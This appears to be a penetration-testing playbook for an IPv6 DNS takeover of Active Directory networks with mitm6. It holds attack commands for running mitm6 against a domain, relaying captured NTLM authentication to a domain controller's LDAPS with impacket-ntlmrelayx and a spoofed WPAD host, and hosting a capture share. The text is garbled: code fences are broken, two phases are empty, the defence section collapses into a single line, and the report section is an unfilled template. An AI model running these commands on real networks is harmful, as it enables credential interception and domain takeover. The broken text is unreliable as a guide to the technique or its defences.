IPv6 DNS Takeover via mitm6
When to Use
- When operating in an Active Directory internal network and traditional IPv4 poisoners (like Responder/LLMNR/NBT-NS) are disabled or ineffective.
- To take advantage of Windows' default behavior of preferring IPv6 over IPv4, seizing control of internal DNS resolution to intercept NTLMv2 hashes or relay authentication.
Prerequisites
- Network access to the target subnet (VPN, pivot, or direct connection)
- Nmap and relevant network scanning tools installed
- Understanding of TCP/IP, common protocols, and network segmentation
- Root/admin access on the attack machine for raw socket operations
Workflow
Phase 1: Understanding the IPv6 Preference
# Concept: By default ```
### Phase 2: Running mitm6
```bash
# # mitm6 -d targetdomain.local -i eth0
Phase 3: Setting up the Relay or Capture
# impacket-ntlmrelayx -6 -t ldaps://domain-controller.targetdomain.local -wh attacker-wpad -l lootdir/
# # impacket-smbserver -smb2support share /tmp/loot (with responder running )
Phase 4: Exploiting the Spoofed Traffic
# ```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Start mitm6 ] --> B{Traffic Intercepted? ]}
B -->|Yes| C[Relay NTLM ]
B -->|No| D[Check Network ]
C --> E[Execute commands ]
🔵 Blue Team Detection & Defense
- Disable IPv6: Implement DHCPv6 Snooping: Network Segmentation: Key Concepts
Concept Description
Output Format
Ipv6 Dns Takeover Mitm6 — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- Dirckjanm Blog: mitm6 - compromising IPv4 networks via IPv6
- Impacket: impacket Documentation